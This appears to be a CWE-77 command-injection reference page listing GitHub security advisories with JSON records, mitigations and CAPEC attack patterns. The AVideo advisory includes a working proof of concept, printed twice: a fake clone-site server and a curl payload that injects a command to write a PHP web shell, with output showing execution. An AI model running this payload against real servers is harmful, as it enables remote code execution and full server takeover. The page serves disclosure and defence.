CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5379 vulnerabilities reference this CWE, most recent first.
GHSA-XQGJ-R6XV-9CW4
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-28 15:35Withdrawn Advisory
This advisory has been withdrawn because it describes intended functionality. This link is maintained to preserve external references.
Original Description
Dask versions <=2024.8.2 contain a vulnerability in the Dask Distributed Server where the use of pickle serialization allows attackers to craft malicious objects. These objects can be serialized on the client side and sent to the server for deserialization, leading to remote command execution and potentially granting full control over the Dask server.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dask"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2024.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10096"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T19:03:57Z",
"nvd_published_at": "2025-03-20T10:15:14Z",
"severity": "CRITICAL"
},
"details": "# Withdrawn Advisory\nThis advisory has been withdrawn because it describes [intended functionality](https://distributed.dask.org/en/stable/limitations.html?highlight=host#security). This link is maintained to preserve external references.\n\n# Original Description\n\nDask versions \u003c=2024.8.2 contain a vulnerability in the Dask Distributed Server where the use of pickle serialization allows attackers to craft malicious objects. These objects can be serialized on the client side and sent to the server for deserialization, leading to remote command execution and potentially granting full control over the Dask server.",
"id": "GHSA-xqgj-r6xv-9cw4",
"modified": "2025-03-28T15:35:32Z",
"published": "2025-03-20T12:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10096"
},
{
"type": "WEB",
"url": "https://github.com/dask/dask"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/a4be847b-a52d-42cc-9e78-3299e2d30ab2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn Advisory: Dask Vulnerable to Command Injection",
"withdrawn": "2025-03-28T15:35:32Z"
}
GHSA-XQGM-4493-F736
Vulnerability from github – Published: 2022-05-01 02:11 – Updated: 2025-10-22 03:30HP OpenView Network Node Manager 6.2 through 7.50 allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) node parameter to connectedNodes.ovpl, (2) cdpView.ovpl, (3) freeIPaddrs.ovpl, and (4) ecscmg.ovpl.
{
"affected": [],
"aliases": [
"CVE-2005-2773"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-09-02T23:03:00Z",
"severity": "HIGH"
},
"details": "HP OpenView Network Node Manager 6.2 through 7.50 allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) node parameter to connectedNodes.ovpl, (2) cdpView.ovpl, (3) freeIPaddrs.ovpl, and (4) ecscmg.ovpl.",
"id": "GHSA-xqgm-4493-f736",
"modified": "2025-10-22T03:30:26Z",
"published": "2022-05-01T02:11:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2773"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/21999"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2005-2773"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=112499121725662\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16555"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/advisories/9150"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/14662"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQPP-8RWP-6RCR
Vulnerability from github – Published: 2026-05-08 06:32 – Updated: 2026-05-08 18:31In libslic3r/GCode/PostProcessor.cpp in Prusa PrusaSlicer through 2.6.1, a crafted 3mf project file can execute arbitrary code on a host where the project is sliced and G-code exported.
{
"affected": [],
"aliases": [
"CVE-2023-47268"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T06:16:08Z",
"severity": "MODERATE"
},
"details": "In libslic3r/GCode/PostProcessor.cpp in Prusa PrusaSlicer through 2.6.1, a crafted 3mf project file can execute arbitrary code on a host where the project is sliced and G-code exported.",
"id": "GHSA-xqpp-8rwp-6rcr",
"modified": "2026-05-08T18:31:31Z",
"published": "2026-05-08T06:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47268"
},
{
"type": "WEB",
"url": "https://help.prusa3d.com/article/post-processing-scripts_283913"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/vulncheck-oss/0day.today.archive/main/local-exploits/39547.txt"
},
{
"type": "WEB",
"url": "https://slic3r.org/download"
},
{
"type": "WEB",
"url": "https://www.prusa3d.com/page/prusaslicer_424"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XQV9-QR76-HFQ2
Vulnerability from github – Published: 2026-04-06 00:30 – Updated: 2026-04-06 18:02A vulnerability was identified in elgentos magento2-dev-mcp up to 1.0.2. The affected element is the function executeMagerun2Command of the file src/index.ts. Such manipulation leads to os command injection. An attack has to be approached locally. The exploit is publicly available and might be used. The name of the patch is aa1ffcc0aea1b212c69787391783af27df15ae9d. A patch should be applied to remediate this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@elgentos/magento2-dev-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5603"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T18:02:40Z",
"nvd_published_at": "2026-04-05T23:16:20Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in elgentos magento2-dev-mcp up to 1.0.2. The affected element is the function executeMagerun2Command of the file src/index.ts. Such manipulation leads to os command injection. An attack has to be approached locally. The exploit is publicly available and might be used. The name of the patch is aa1ffcc0aea1b212c69787391783af27df15ae9d. A patch should be applied to remediate this issue.",
"id": "GHSA-xqv9-qr76-hfq2",
"modified": "2026-04-06T18:02:40Z",
"published": "2026-04-06T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5603"
},
{
"type": "WEB",
"url": "https://github.com/elgentos/magento2-dev-mcp/issues/4"
},
{
"type": "WEB",
"url": "https://github.com/elgentos/magento2-dev-mcp/pull/5"
},
{
"type": "WEB",
"url": "https://github.com/elgentos/magento2-dev-mcp/commit/aa1ffcc0aea1b212c69787391783af27df15ae9d"
},
{
"type": "PACKAGE",
"url": "https://github.com/elgentos/magento2-dev-mcp"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/files/25895777/magento2-dev-mcp_bug.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/784864"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/355395"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/355395/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@elgentos/magento2-dev-mcp vulnerable to command injection"
}
GHSA-XQWW-QHCC-X39Q
Vulnerability from github – Published: 2022-04-01 00:00 – Updated: 2022-04-06 00:01totolink EX300_v2 V4.0.3c.140_B20210429 was discovered to contain a command injection vulnerability via the component cloudupdate_check.
{
"affected": [],
"aliases": [
"CVE-2021-43663"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-31T00:15:00Z",
"severity": "HIGH"
},
"details": "totolink EX300_v2 V4.0.3c.140_B20210429 was discovered to contain a command injection vulnerability via the component cloudupdate_check.",
"id": "GHSA-xqww-qhcc-x39q",
"modified": "2022-04-06T00:01:41Z",
"published": "2022-04-01T00:00:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43663"
},
{
"type": "WEB",
"url": "https://github.com/chibataiki/iot-vuls/blob/main/totolink/command-injection1.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XR6F-9R29-5GQ3
Vulnerability from github – Published: 2024-01-23 18:31 – Updated: 2024-01-23 18:31HPE OneView may allow command injection with local privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2023-50274"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-23T17:15:09Z",
"severity": "HIGH"
},
"details": "HPE OneView may allow command injection with local privilege escalation.",
"id": "GHSA-xr6f-9r29-5gq3",
"modified": "2024-01-23T18:31:11Z",
"published": "2024-01-23T18:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50274"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US\u0026docId=hpesbgn04586en_us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XR6F-H4X7-R6QP
Vulnerability from github – Published: 2026-04-16 21:25 – Updated: 2026-04-24 21:00Description
Summary
The cloneServer.json.php endpoint in the CloneSite plugin constructs shell commands using user-controlled input (url parameter) without proper sanitization. The input is directly concatenated into a wget command executed via exec(), allowing command injection.
An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., ;). This leads to Remote Code Execution (RCE) on the server.
Details
Inside plugin/CloneSite/cloneClient.json.php(line112) didn't have proper sanitization
$objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL));
use str_replace make ' added by escapeshellarg become so hacker can inject evil cloneSiteURL to rce
$sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116
$cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117
exec($cmd . " 2>&1", $output, $return_val); \\119
The attack flow
-
make a evil site to provide date
-
add evil url in
objects/pluginAddDataObject.json.php -
access
plugin/CloneSite/cloneClient.json.phpto trigger rce
Poc
make a evil site use python like this
from flask import Flask, jsonify, request
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
print("PATH:", path)
return jsonify({
"error": False,
"msg": "",
"url": "http://target-site.com/",
"key": "target_clone_key",
"useRsync": 0,
"videosDir": "/var/www/html/AVideo/videos/",
"sqlFile": "Clone_mysqlDump_evil123.sql",
"videoFiles": [],
"photoFiles": []
})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8071)
change url with payload like (need admin)
curl -b 'PHPSESSID=<admin_session>'
-X POST "http://127.0.0.1/objects/pluginAddDataObject.json.php" \
-H "Content-Type: application/json" \
-d '{
"cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
"cloneSiteSSHIP":"127.0.0.1",
"cloneSiteSSHUser":"1",
"cloneSiteSSHPort":"22",
"cloneSiteSSHPassword":{
"type":"encrypted",
"value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg=="
},
"useRsync":true,
"MaintenanceMode":false,
"myKey":"ba882541262f3202ee5a5ad790ae5b70"
}'
#inject evil code
curl "http://127.0.0.1/plugin/CloneSite/cloneClient.json.php" #trigger rce to write 1.php
curl "http://127.0.0.1/plugin/CloneSite/1.php"
-d '1=id'
#uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)
this payload is to create a web shell
then access plugin/CloneSite/cloneClient.json.php
1.phpwill be created
impact
-
Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
-
Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
add more powerful sanitization for $objClone->cloneSiteURL
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41304"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:25:19Z",
"nvd_published_at": "2026-04-22T00:16:29Z",
"severity": "HIGH"
},
"details": "Description\n\n## Summary\n\nThe `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection.\n\nAn attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to **Remote Code Execution (RCE)** on the server.\n\n## Details\n\nInside `plugin/CloneSite/cloneClient.json.php`(line112) didn\u0027t have proper sanitization\n\n```php\n$objClone-\u003ecloneSiteURL = str_replace(\"\u0027\", \u0027\u0027, escapeshellarg($objClone-\u003ecloneSiteURL));\n```\n\nuse `str_replace ` make `\u0027` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce\n\n```php\n$sqlURL = \"{$objClone-\u003ecloneSiteURL}videos/clones/{$json-\u003esqlFile}\"; \\\\116\n$cmd = \"wget -O {$sqlFile} {$sqlURL}\"; \\\\117\nexec($cmd . \" 2\u003e\u00261\", $output, $return_val); \\\\119\n```\n\nThe attack flow\n\n1. make a evil site to provide date\n\n2. add evil url in `objects/pluginAddDataObject.json.php` \n\n3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce\n\n \n\n## Poc\n\nmake a evil site use python like this \n\n```python\nfrom flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027, defaults={\u0027path\u0027: \u0027\u0027})\n@app.route(\u0027/\u003cpath:path\u003e\u0027)\ndef catch_all(path):\n print(\"PATH:\", path)\n\n\n return jsonify({\n \"error\": False,\n \"msg\": \"\",\n \"url\": \"http://target-site.com/\",\n \"key\": \"target_clone_key\",\n \"useRsync\": 0,\n \"videosDir\": \"/var/www/html/AVideo/videos/\",\n \"sqlFile\": \"Clone_mysqlDump_evil123.sql\",\n \"videoFiles\": [],\n \"photoFiles\": []\n })\n\n\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=8071)\n```\n\nchange url with payload like (need admin)\n\n```shell\ncurl -b \u0027PHPSESSID=\u003cadmin_session\u003e\u0027\n-X POST \"http://127.0.0.1/objects/pluginAddDataObject.json.php\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"cloneSiteURL\":\"http://127.0.0.1:8071/;echo${IFS}\\\"\u003c?=system(\\\\$_POST[1])?\u003e\\\"${IFS}\u003e1.php;/\",\n \"cloneSiteSSHIP\":\"127.0.0.1\",\n \"cloneSiteSSHUser\":\"1\",\n \"cloneSiteSSHPort\":\"22\",\n \"cloneSiteSSHPassword\":{\n \"type\":\"encrypted\",\n \"value\":\"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg==\"\n },\n \"useRsync\":true,\n \"MaintenanceMode\":false,\n \"myKey\":\"ba882541262f3202ee5a5ad790ae5b70\"\n}\u0027 \n#inject evil code\ncurl \"http://127.0.0.1/plugin/CloneSite/cloneClient.json.php\" #trigger rce to write 1.php\ncurl \"http://127.0.0.1/plugin/CloneSite/1.php\" \n -d \u00271=id\u0027\n #uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nthis payload is to create a web shell \n\nthen access `plugin/CloneSite/cloneClient.json.php` \n\n`1.php`will be created \n\n## impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nadd more powerful sanitization for `$objClone-\u003ecloneSiteURL`",
"id": "GHSA-xr6f-h4x7-r6qp",
"modified": "2026-04-24T21:00:23Z",
"published": "2026-04-16T21:25:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xr6f-h4x7-r6qp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41304"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/473c609fc2defdea8b937b00e86ce88eba1f15bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "WWBN AVideo: RCE cause by clonesite plugin"
}
GHSA-XR78-7M9W-QHCQ
Vulnerability from github – Published: 2022-08-11 00:00 – Updated: 2022-08-16 00:00WAVLINK WN572HP3, WN533A8, WN530H4, WN535G3, WN531P3 qos.cgi has no filtering on parameters: qos_bandwith and qos_dat, which leads to command injection in page /qos.shtml.
{
"affected": [],
"aliases": [
"CVE-2022-35536"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-10T20:15:00Z",
"severity": "CRITICAL"
},
"details": "WAVLINK WN572HP3, WN533A8, WN530H4, WN535G3, WN531P3 qos.cgi has no filtering on parameters: qos_bandwith and qos_dat, which leads to command injection in page /qos.shtml.",
"id": "GHSA-xr78-7m9w-qhcq",
"modified": "2022-08-16T00:00:31Z",
"published": "2022-08-11T00:00:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35536"
},
{
"type": "WEB",
"url": "https://github.com/TyeYeah/othercveinfo/tree/main/wavlink#wavlink-router-ac1200-page-qosshtml-command-injection-in-qoscgi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XRC9-G9FM-HQ32
Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30A vulnerability was identified in hiraishikentaro wezterm-mcp 0.1.0. The affected element is an unknown function of the file src/wezterm_executor.ts of the component switch_pane/write_to_specific_pane. The manipulation of the argument request.params.arguments.pane_id leads to os command injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-10279"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-01T19:16:20Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in hiraishikentaro wezterm-mcp 0.1.0. The affected element is an unknown function of the file src/wezterm_executor.ts of the component switch_pane/write_to_specific_pane. The manipulation of the argument request.params.arguments.pane_id leads to os command injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-xrc9-g9fm-hq32",
"modified": "2026-06-01T21:30:42Z",
"published": "2026-06-01T21:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10279"
},
{
"type": "WEB",
"url": "https://github.com/hiraishikentaro/wezterm-mcp/issues/7"
},
{
"type": "WEB",
"url": "https://github.com/hiraishikentaro/wezterm-mcp"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-10279"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/825419"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367572"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/367572/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XRCM-65V6-9P73
Vulnerability from github – Published: 2023-10-11 18:30 – Updated: 2025-11-04 21:30A command execution vulnerability exists in the validate.so diag_ping_start functionality of Yifan YF325 v1.0_20221108. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-32632"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-11T16:15:12Z",
"severity": "CRITICAL"
},
"details": "A command execution vulnerability exists in the validate.so diag_ping_start functionality of Yifan YF325 v1.0_20221108. A specially crafted network request can lead to command execution. An attacker can send a network request to trigger this vulnerability.",
"id": "GHSA-xrcm-65v6-9p73",
"modified": "2025-11-04T21:30:43Z",
"published": "2023-10-11T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32632"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1767"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1767"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.